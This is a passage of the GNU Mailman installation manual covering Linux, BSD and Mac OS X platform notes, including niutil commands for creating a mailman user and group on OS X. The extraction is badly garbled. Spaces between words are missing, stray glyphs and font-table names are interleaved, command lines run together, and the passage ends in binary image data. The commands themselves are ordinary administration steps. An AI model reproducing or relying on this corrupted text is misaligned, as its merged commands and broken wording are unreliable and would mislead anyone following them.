andothergenericUnixsystems.Itdoesn'trunonWindows.F٠orthemostpart,Ethegenericinstructionsgiv٠enMinNthisdocumentshouldbesucienttogetMailmanwgorkingonan٠ysupportedplatform.ŀSomeoperatingsystemshav٠eadditionalrecommendedinstallationorcongurationinstructions."PÍ15.1#ZGNU/LinIuxUissuespōLinuxjjseemstojibethemostpopularplatformforrunningMailman.fHerearesomehintsongettingMailmantorunonLinux:ǍIfyouaregettingerrorswithhardlinkcreationsand/oryouareusingaspecialsecurekgernel(secure-linux/openwgall/grsecurity),sseeL\thele`contr"ib/README.check<ff5=qper9ms<ff5grsecurity'L\inL]theMailmansourcedis-tribution.NotethatifyouareusingLinuxMandrakgeinsecuremode,youareprobablyconcernedbythis.ApparentlyTMandrakgeT9.0changedthepermissionsongcc,]hsoifyoubuildasthemailmanuser,]hyouneedtobesuremailmanisinthecctoolsgroup.IflfyouinstalledlgPythonfromyourLinuxdistribution's8spackagemanager(e.g..rpmsforRedhat-deriv٠edsystemsor.debforDebian),youmustinstallthe\dev٠elopment"packageofPython,oryoumaynotgetev٠erythingyouneed.F٠or[example,usingPythonZ2.2onDebian,youwillZneedtoinstallthepython2.2-devpackage.OnRedhat,youprobablyneedthepython2-develpackage.IfyouinstallPythonfromsource,youshouldbene.One0symptomofthisproblem,<althoughforunknownreasons,is1thatyoumightgetanerrorsuchasthisduringyourinstall:ksTracebackff(mostrecentcalllast):v@Fileff"bin/update",line44,in?
}importffpathsksImportError:ffNomodulenamedpathsksmake:ff***[update]Error1bԍIfthishappens,7installthePythondev٠elopmentpackageandtrycongureandmakgeinstallag7ain.ҖOrinstallthelatestv٠ersionofPythonfromsource,availablefromhttp://wwwu.python.orgXJ.ThisproblemcanmanifestitselfinotherLinuxdistributionsindierentwgays,FMalthoughusuallyitappearsasImportErrors."PÍ15.2#ZBSDUissuespōVfgiv٠ek\Khera\writesthatsomeBSDsdonightlysecurityscansforsetuidlechanges.setgiddirectoriesalsocomeup=onthe<scanwhenthe٠ychange.RNAlso,LthesetgidbitisnotnecessaryonBSD"systemsbecausegroupownershipisautomaticallyinheritedonlescreatedindirectories.EOnotherUnixes, thisonlyhappenswhenthedirectoryhasthesetgidbitturnedon.ǍT37okinstallwithoutturningonthesetgidbitondirectories,simplypassintheDIRSETGID%variabletomakge,afteryou'v٠eruncongure:ffHʢ25mn>썍fdn썍2
%ffmakeDIRSETGID=:install-Thisdisablesthechmodg+scommandoninstalleddirectories."-p15.3#ZMacOSXUissuespōMan٠yߵpeopleߴrunMailmanonMacOSX.Herearesomepointersthathav٠ebeencollectedongettingMailmantorunonMacOSX.섍JaguarQ(MacOSXQ{10.2)comeswithPython2.2.
Whilethisisn'tthev٠erylatestQstableversionofPython,ZitoughttobesucienttorunMailman2.1.DavidB.O'DonnellhasawebpagedescribinghiscongurationofMailman2.0.13andPostxonMacOSXServ٠ers8.ؿhttp://wwwu.afp548.com/Ar\#ticles/mail/python-mailman.htmlKathleenW37ebbpostedhere٠xperiencesingettingMailmanrunningonJaguarusingSendmail.http://mail.python.org/piper9mail/mailman-users/2002-October/022944.htmlP٠antherU%serverU&(MacOSXU10.3)comeswithMailman;coYgouroperatingsystemshouldcontaindocumentationthatwillhelpyou,andApplehasatechdocumentaboutaproblemyoumightencounterrunningMailmanonMacOSXServ٠er10.3:http://docsv.info.apple.com/ar\#ticle.html?artnum=107889섍TLerryigAllenpro٠videsthefollowingdetailedinstructionsonrunningihMailmanonthe'client'versionofOSX,orinearlierv٠ersionsofOSX:ǍMac9OSX9m10.3and9onwgardshasthebasicsforasuccessfulMailmaninstallation.FmUsersofearlierv٠ersionsofMacOSX0containsLSendmailKandthoseusersshouldlookattheSendmailinstallationsectionfortips.RyYgoushouldfollowtheDbasicinstallationstepsasdescribedearlierinthismanual,usubstitutingasappropriate,u
thestepsoutlinedinthissection.Bydefgault,MacOSX10.3'client'v٠ersiondoesnothaveafullyfunctionalversionofPostx.\SettingupawgorkingMTAKsuchKasKPostxisbe٠yondthescopeofthisguideandyoushouldrefertohttp://wwwu.postx.orgZ'fortipsongettingPostxrunning.AneasywgaytosetPostxupistoinstallandrunPostxEnabler,#astand-alonetoolforconguringPostxonMacOSX,availablefromhttp://wwwu.roadstead.com/weblog/Tutor"ials/PostxEnabler.htmlj.Likgewise,"\MacOSX'client'v٠ersionfrom10.1onwardsincludesaworkingApachewebserv٠ers8.AThisisswitchedonusing9the:SystemPreferencescontrolpanelunderthe'Sharingtab'.GDA6usefultoolforconguringtheApacheonMacOSXisW37ebmin,whichcanbeobtainedfromhttp://wwwu.webmin.com`	.W37ebmincanalsoperformcongurationforothersystemtasks,includingPostx,addingjobstoyourcrontab,addinguserandgroups,plusaddingstartupandshutdownjobs.In4la4kstockinstallationofOSX,therequirementforMailmanistohav٠ePythoninstalled.6Pythonisnotinstalledbydefgault,-2so}it~isadvisedthatyouinstallthedev٠eloper's8stoolspackage,-1whichmayhavebeenprovidedwithyoursystem.IṫcanalsöbedownloadedfromtheAppledev٠elopersiteathttp://connect.applev.comd..Notonlyisthedev٠elopertoolspackageO2anessentialrequirementforinstallingMailman,butitO3willcomeinhandyatalaterdateshouldyouneedothertools.Thedev٠eloper's8stoolsarealsoknowbythenameXCodetools.Asaminimum,thePythonv٠ersionshouldbe2.2,but2.3isrecommended.IfyouwishtoaddauserandgroupusingthecommandlineinOSXinsteadofviaW37ebminoranotherGUIinterfgace,openPyourterminalPapplicationandfollowthecommandsasindicatedbelow-donottypethecommentsfollowingthe`#'sincethe٠yarejustnotes:ffH2615
Platf7or?mǧandopergatingsystemnoteszn>썍fdn썍ssudofftcshsniutilff-create//users/mailmansniutilff-createprop//users/mailmannamemailmans#ffNotethatxxxisafreeuserIDnumberonyoursystemsniutilff-createprop//users/mailmanuidxxxsniutilff-createprop//users/mailmanhome/usr/local/mailmansmkdirff-p/usr/local/mailmansniutilff-createprop//users/mailmanshell/bin/tcshspasswdffmailmans#ffTopreventmalicioushacking,supplyasecurepasswordheresniutilff-create//groups/mailmansniutilff-createprop//groups/mailmannamemailmans#ffNotethatxxxisafreegroupIDnumberonyoursystemsniutilff-createprop//groups/mailmangidxxxsniutilff-createprop//groups/mailmanpasswd'*'sniutilff-createprop//groups/mailmanusers'mailman'schownffmailman:mailman/usr/local/mailmanscdff/usr/local/mailmanschmodffa+rx,g+ws.sexitssuffmailman	F٠orsettingupApacheonOSXtohandleMailman,thestepsarealmostidenticalandthecongurationleonastockMacOSXClientv٠ersionisstoredinthenearlystandardlocationof`/etc/httpd/httpd.conf'.ǍTheAFP548.comsitehasatime-savingautomatedstartupitemcreatorforMailman,>whichcanbefoundathttp://wwwu.afp548.com/Softwvare/MailmanStar\#tup].tar.gzT37oinstallit,>copgyitintoyour`/LibrarEy/Star\#tupItems'directoryY.Astherootorsuperuser,>fromtheterminal,>enterthefollowing:sgunzipffMailmanStartup.tar.gzstarffxvfMailmanStartup.tar8Itwillcreatethestartupitemforyousothatwhenyoureboot,Mailmanwillstartup.ffH15.3
MacOSXǧissuesʢ27l;H1ߌ
ptmb7t0Kj
ptmri7t/Kj
ptmri7t.e9V	
phvb7t-ڶ%

ptmbi7t,ߌ
ptmb7t+3{

ptmro7t*l
phvr7t)0	
pcrr7t(0

pcrr7t'3{
ptmr7t 3{
ptmr7t3{
ptmr7tl
phvr7tl

phvr7t8

ptmrc7tߌ

ptmb7t8	
ptmrc7tߌ	
ptmb7tl	
phvr7t3{	
ptmr7tlff
phvr7tl
phvro7tKj

ptmri7tlH
phvr7t3{

ptmr7t
!",

cmsy10
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`